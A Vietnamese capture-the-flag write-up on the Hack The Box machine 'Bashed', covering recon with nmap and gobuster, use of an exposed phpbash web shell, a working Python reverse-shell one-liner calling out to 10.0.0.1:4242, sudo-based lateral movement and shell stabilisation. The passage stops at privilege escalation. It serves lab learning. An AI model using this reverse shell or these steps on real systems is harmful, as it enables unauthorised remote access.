Mở đầu
Tiếp theo series là machine Bashed đây cũng được đánh giá là một bài dễ
Write-up
Recon
Vẫn là câu lệnh quen thuộc
nmap -A -v 10.10.10.68 -p- -o nmap
Ta thấy server chỉ mở đúng một cổng 80 và ta tiến hành truy cập thử xem có gì
Ở đây nhắc đến phpbash được triển khai trên server này. Sau khi tìm thử thì mình phát hiện đây là một web shell và mình bắt đầu dùng gobuster để tìm đường dẫn đến file này
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u 10.10.10.68 -x php,txt,bak -o gobuster
Sau khi vào các thư mục ở trên thì ta thấy 2 file web shell
Exploit
www-data
Đầu tiên mình kiểm tra server có python không bằng lệnh
which python
Sau khi xác nhận server có python thì mình tạo một reverse shell về máy mình để tiện thao tác
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Và ta có được shell đầu
scriptmanager
Kiểm tra user có thể chạy lện nào bằng sudo
sudo -l
Ở đây ta có thể chạy bất kì lệnh nào dưới quyền của scriptmanager và ta dễ dàng có được shell thứ 2
sudo -u scriptmanager /bin/bash
root
Kiểm tra với sudo và find không tìm được file nào thú vị
sudo -l
find / -perm -u=s -exec ls -la {} \; 2>/dev/null
Ở đây chắc hẳn nhiều bạn có thói quen ấn Ctrl+C và sau khi ấn ta sẽ bị mất shell (dump shell) và lại phải làm lại từ đầu. Bây giờ mình sẽ hướng dẫn các bạn từ dump shell lên fully interactive ttys
Lưu ý: Nếu bạn dùng bản kail mới nhất hay đang dùng shell khác không phải là bash shell thì phải đổi về bash shell thì mới có thể làm được( Mình tạo một user khác có shell là /bin/bash)
Đầu tiên tạo shell tty với python
python -c 'import pty;pty.spawn("/bin/bash")
Tiếp theo ấn Ctrl+Z để cho shell chạy background
Tìm loại TERM đang chạy shell của mình
echo $TERM
Ở đây mình dùng tmux lên TERM là screen còn bình thường sẽ là xterm-256color Tiếp đến là
stty raw -echo
fg
reset
screen( tùy vào giá trị mà bạn lệnh echo $TERM của bạn)
Lưu ý: ở đây mình không đánh lại lệnh nc -lnvp 443
Sau khi hoàn thành bạn sẽ không phải lo việc ấn nhầm Ctrl+C và bị mất shell nữa
Tiếp tục với leo thang thì sau khi chạy ps aux